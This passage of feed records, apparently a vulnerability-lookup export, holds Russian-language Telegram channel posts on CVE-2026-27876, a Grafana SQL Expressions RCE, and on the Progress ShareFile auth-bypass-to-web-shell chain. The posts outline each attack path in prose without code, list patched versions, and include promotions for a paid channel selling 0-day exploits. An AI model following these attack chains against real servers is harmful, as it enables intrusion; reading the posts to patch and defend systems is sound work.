Grafana.\n3\ufe0f\u20e3 \u0415\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f Sqlyze, \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u0435\u0433\u043e \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.5.0 \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435.\n4\ufe0f\u20e3 \u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0432\u0441\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 AWS.\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su \ud83d\ude80\n\n#Grafana #CVE #ZeroDay #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:11.005856Z"}, {"uuid": "c0bf5297-3e94-4a35-a863-36d78c99048f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/critical_bug/1690", "content": "\ud83d\udd25 \u0414\u0432\u043e\u0439\u043d\u043e\u0439 \u0443\u0434\u0430\u0440 \u043f\u043e Progress ShareFile: Pre-Auth RCE\nCVE-2026-2699 + CVE-2026-2701 \ud83d\udd34\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 watchTowr \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Progress ShareFile Storage Zone Controller, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u0412\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e CWE-698 (Execution After Redirect) \u0432 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 /ConfigService/Admin.aspx. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u043e \u0437\u0430\u0431\u044b\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e (CVE-2026-2699) \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c. \u0414\u0430\u043b\u0435\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0430\u0440\u043e\u043b\u044c, \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0435\u0442 Zone Secret \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u2192 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 RCE (CVE-2026-2701).\n\n\ud83d\udea8 \u0418\u043c\u043f\u0430\u043a\u0442:\n\u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u041e\u043a\u043e\u043b\u043e 30 000 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0441\u0435\u0442\u0438 \u2014 \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u043e\u0432.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 ShareFile Storage Zone Controller \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.12.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435.\n\n\u2b50\ufe0f \u0425\u043e\u0447\u0435\u0448\u044c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 0-day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043f\u0435\u0440\u0432\u044b\u043c? \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0441\u044f \u043d\u0430 \u043d\u0430\u0448\u0443 VIP-\u0432\u0435\u0440\u0441\u0438\u044e \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\\#Progress \\#ShareFile \\#CVE \\#ZeroDay \\#RCE \\#CyberSecurity \\#Infosec \\#critical_bug", "creation_timestamp": "2026-07-19T16:00:11.193647Z"}, {"uuid": "b32b2210-7581-41b6-81af-89e7d08dd8cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1702", "content": "\ud83d\udea8 \u041d\u043e\u0432\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Grafana: \u043e\u0442 SQL \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0445\u043e\u0441\u0442\u0430! \ud83d\udea8\n\nCVE-2026-27876 \ud83d\udd34 CVSS: 9.1 Critical\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 Grafana \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0438\u043b\u0438 \u043d\u0438\u0437\u043a\u043e\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (RCE). \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f sqlExpressions \u0432 Grafana \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f \u0442\u0440\u0430\u043d\u0441\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0430 SQL. \u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a: \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83c\udfaf \u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u043f\u0440\u0430\u0432\u0430 Viewer (\u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430) \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e sqlExpressions. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SQL-\u0437\u0430\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 Sqlyze \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 AWS.\n\n\u041a\u043e\u0433\u0434\u0430 Grafana \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u043f\u043b\u0430\u0433\u0438\u043d, \u043e\u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Grafana. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0435 SSH-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0445\u043e\u0441\u0442\u043e\u043c! \ud83e\udd2f\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n1\ufe0f\u20e3 \u041d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 Grafana \u0434\u043e \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (12.4.2, 12.3.6, 12.2.8, 12.1.10, 11.6.14).\n2\ufe0f\u20e3 \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e sqlExpressions \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Grafana.\n3\ufe0f\u20e3 \u0415\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f Sqlyze, \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u0435\u0433\u043e \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.5.0 \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435.\n4\ufe0f\u20e3 \u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0432\u0441\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 AWS.\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su \ud83d\ude80\n\n#Grafana #CVE #ZeroDay #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-20T00:00:06.294410Z"}, {"uuid": "e564cd8c-3e43-44b0-9c80-656afa36b152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://t.me/critical_bug/1701", "content": "\ud83d\udea8 CVE-2026-27876 \ud83d\udd34 CVSS: 9.1 Critical\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0432 Grafana \u0447\u0435\u0440\u0435\u0437 SQL Expressions!\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 Viewer \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 SSH-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u043e\u0441\u0442\u0435 \u043d\u0438\u0436\u0435 \ud83d\udc47", "creation_timestamp": "2026-07-20T00:00:06.373031Z"}, {"uuid": "7169df49-8a6f-473f-9dcd-ac6d3f0a2b43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1700", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-27876: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0432 Grafana \u0447\u0435\u0440\u0435\u0437 SQL Expressions", "creation_timestamp": "2026-07-20T00:00:06.578106Z"}, {"uuid": "2dd487cd-b8e0-4922-a102-a1ea8ce5a6c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/critical_bug/1690", "content": "\ud83d\udd25 \u0414\u0432\u043e\u0439\u043d\u043e\u0439 \u0443\u0434\u0430\u0440 \u043f\u043e Progress ShareFile: Pre-Auth RCE\nCVE-2026-2699 + CVE-2026-2701 \ud83d\udd34\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 watchTowr \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Progress ShareFile Storage Zone Controller, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u0412\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e CWE-698 (Execution After Redirect) \u0432 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 /ConfigService/Admin.aspx. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u043e \u0437\u0430\u0431\u044b\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e (CVE-2026-2699) \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c. \u0414\u0430\u043b\u0435\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0430\u0440\u043e\u043b\u044c, \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0435\u0442 Zone Secret \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u2192 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 RCE (CVE-2026-2701).\n\n\ud83d\udea8 \u0418\u043c\u043f\u0430\u043a\u0442:\n\u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u041e\u043a\u043e\u043b\u043e 30 000 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0441\u0435\u0442\u0438 \u2014 \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u043e\u0432.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 ShareFile Storage Zone Controller \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.12.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435.\n\n\u2b50\ufe0f \u0425\u043e\u0447\u0435\u0448\u044c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 0-day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043f\u0435\u0440\u0432\u044b\u043c? \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0441\u044f \u043d\u0430 \u043d\u0430\u0448\u0443 VIP-\u0432\u0435\u0440\u0441\u0438\u044e \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\\#Progress \\#ShareFile \\#CVE \\#ZeroDay \\#RCE \\#CyberSecurity \\#Infosec \\#critical_bug", "creation_timestamp": "2026-07-20T00:00:25.231161Z"}, {"uuid": "ef57eaa3-2fda-499d-b054-69671bf9f782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/critical_bug/1691", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: Progress ShareFile Pre-Auth RCE Chain (CVE-2026-2699 & CVE-2026-2701)", "creation_timestamp": "2026-07-20T00:00:25.298529Z"}, {"uuid": "14d8e69b-6286-4ead-9c04-5dfc9751b013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/critical_bug/1689", "content": "\ud83d\udd25 \u0414\u0432\u043e\u0439\u043d\u043e\u0439 \u0443\u0434\u0430\u0440 \u043f\u043e Progress ShareFile: Pre-Auth RCE (CVE-2026-2699 + CVE-2026-2701) \ud83d\udd34\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 